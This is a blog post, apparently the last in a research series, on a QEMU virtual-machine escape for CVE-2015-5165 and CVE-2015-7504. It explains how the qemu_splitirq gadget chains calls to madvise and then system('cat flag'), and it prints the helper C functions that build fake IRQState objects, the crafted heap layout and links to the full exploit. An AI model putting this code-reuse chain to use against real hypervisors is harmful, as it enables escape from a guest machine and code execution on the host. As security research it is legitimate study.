QEMU Escape: Part 6 Put Everything Together (another trial)

Introduction

In my previous blog, I mention that MADV_DONTFORK is set to the virtual memory region, which is used as the physical memory of guest machine. In another word, the memory set to MADV_DONTFORK will not be passed to the forked process. In this post, I will prove this hypothesis by undoing the MADV_DONTFORK flag of the memory region and display the flag.

In the exploit given in [1] and [2], the author first changes the protection flag of the PHY_MEM to RWX and prepares the shellcode in PHY_MEM to undo the MADV_DONTFORK flag of PHY_MEM. From my perspective, such a method is tedious for the purpose of this post. Alternatively, I choose to prove the hypothesis via code reuse attack directly.

Code Reuse Attack

Original Attack

In the original attack in [1], it uses function qemu_set_irq (in irq.c) to invoke the desired function pointer. Furthermore, it proposes to call two qemu_set_irq consecutively to load value into the third argument register ($rdx).

struct IRQState {
    Object parent_obj;

    qemu_irq_handler handler;
    void *opaque;
    int n;
};

void qemu_set_irq(qemu_irq irq, int level)
{
    if (!irq)
        return;

    irq->handler(irq->opaque, irq->n, level);
}

However, the biggest problem at present is such a method can only invoke one desired function. In my experiment I need to invoke madvise(phyMem, size, MADV_DOFORK) first, then invoke system(“cat flag”) to verify my hypothesis. Therefore, I decide to turn to other gadgets in QEMU binary for my experiment.

Alternative Attack

Fortunately, I soon locate the qemu_splitirq function (in irq.c) to achieve my goal.

static void qemu_splitirq(void *opaque, int line, int level)
{
    struct IRQState **irq = opaque;
    irq[0]->handler(irq[0]->opaque, irq[0]->n, level);
    irq[1]->handler(irq[1]->opaque, irq[1]->n, level);
}

The biggest advantage of current code gadget is that it could be used to chain multiple functions together. To put it more specific, attacker can craft irq[0] first to call desired function with full control on the argument register. Then attacker just crafts irq[1] to make handler of it points to qemu_splitirq again to invoke it.
With this gadget, attacker can repeat the above procedure arbitrary times until all desired functions are invoked.

Exploit

After setting the exploit plan, the next thing to do is to prepare the crafted objects in QEMU heap and invoke qemu_set_irq to begin our exploit. I create two helper functions in my exploit as below. The full code of the exploit is given on my github repository [3].

int createCraftIRQ(uint64_t *ptr, uint64_t addr, uint64_t fun_ptr, uint64_t RDI,,
 uint64_t RSI)
{
        int i = (addr - 0x12890f0)/8;
        *(ptr + 250 + i + 6) = fun_ptr;
        *(ptr + 250 + i + 7) = RDI;
        *(ptr + 250 + i + 8) = RSI;
        return 0;
}

int createCraftIRQArray(uint64_t *ptr, uint64_t addr, uint64_t obj1Addr, uint64__
t obj2Addr)
{
        int i = (addr - 0x12890f0)/8;
        *(ptr + 250 + i) = obj1Addr;
        *(ptr + 250 + i + 1) = obj2Addr;
        return 0;
}

0x12890f0 is the a base address I choose in my exploit. The base address will change in different attempts and makes exploit unstable, but it is enough for me at the moment.

The expected memory layout is given below. I create 6 fake IRQState objects in total, at 0x55c6cb4890f0, 0x55c6cb489160, 0x55c6cb4891a0, 0x55c6cb4891f0, 0x55c6cb489250, 0x55c6cb4892a0 respectively. Furthermore, I create 2 fake IRQStateArray at 0x55c6cb489140 and 0x55c6cb489240 respectively.

0x55c6cb4890f0:	0x00004141414141b6	0x000055c6cb4889b0
0x55c6cb489100:	0x00004141414141b7	0x000055c6cb4889b0
0x55c6cb489110:	0x00004141414141b8	0x000055c6cb4889b0
0x55c6cb489120:	0x000055c6c931bb85	0x000055c6cb489140
0x55c6cb489130:	0x000000000000000b	0x000055c6cb4889b0
0x55c6cb489140:	0x000055c6cb489160	0x000055c6cb4891f0
0x55c6cb489150:	0x00004141414141bc	0x000055c6cb4889b0
0x55c6cb489160:	0x00004141414141bd	0x000055c6cb4889b0
0x55c6cb489170:	0x00004141414141be	0x000055c6cb4889b0
0x55c6cb489180:	0x00004141414141bf	0x000055c6cb4889b0
0x55c6cb489190:	0x000055c6c931b90a	0x000055c6cb4891a0
0x55c6cb4891a0:	0x000000000000000b	0x000055c6cb4889b0
0x55c6cb4891b0:	0x00004141414141c2	0x000055c6cb4889b0
0x55c6cb4891c0:	0x00004141414141c3	0x000055c6cb4889b0
0x55c6cb4891d0:	0x000055c6c913dbd0	0x00007ff53c000000
0x55c6cb4891e0:	0x0000000080000000	0x000055c6cb4889b0
0x55c6cb4891f0:	0x00004141414141c6	0x000055c6cb4889b0
0x55c6cb489200:	0x00004141414141c7	0x000055c6cb4889b0
0x55c6cb489210:	0x00004141414141c8	0x000055c6cb4889b0
0x55c6cb489220:	0x000055c6c931bb85	0x000055c6cb489240
0x55c6cb489230:	0x0000000000001010	0x000055c6cb4889b0
0x55c6cb489240:	0x000055c6cb489250	0x000055c6cb4892a0
0x55c6cb489250:	0x00004141414141cc	0x000055c6cb4889b0
0x55c6cb489260:	0x00004141414141cd	0x000055c6cb4889b0
0x55c6cb489270:	0x00004141414141ce	0x000055c6cb4889b0
0x55c6cb489280:	0x000055c6c913ea00	0x00007ff5b363fff7
0x55c6cb489290:	0x0000004141414141	0x000055c6cb4889b0
0x55c6cb4892a0:	0x00004141414141d1	0x000055c6cb4889b0
0x55c6cb4892b0:	0x00004141414141d2	0x000055c6cb4889b0
0x55c6cb4892c0:	0x00004141414141d3	0x000055c6cb4889b0
0x55c6cb4892d0:	0x0000202020202020	0x0000000000003030

Conclusion

I give the final result of the exploit below

First of all, I call the function madvise with MADV_DOFORK (0xb). At the time of executing system function, it can be observed that the “cat flag” string is located in the PHY_MEM not QEMU heap. But I still successfully display the flag.
I think this post will be last post in my analysis on the exploit of CVE-2015-5165 and CVE-2015-7504. The full exploit to get a shell in [1] is out of my current scope. I may try that if time permitted.

Reference

[1] http://www.phrack.org/papers/vm-escape-qemu-case-study.html
[2] https://github.com/mtalbi/vm_escape/blob/master/vm-escape.c
[3] https://github.com/dangokyo/QEMU_ESCAPE/blob/master/test_qemu_madvise.c

2 thoughts on “QEMU Escape: Part 6 Put Everything Together (another trial)

  1. You just re-explained the bug revealed in 2015, the bug is no longer usable since QEMU fixed it three years ago. Did you find a new bug to escape ?

    Like

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.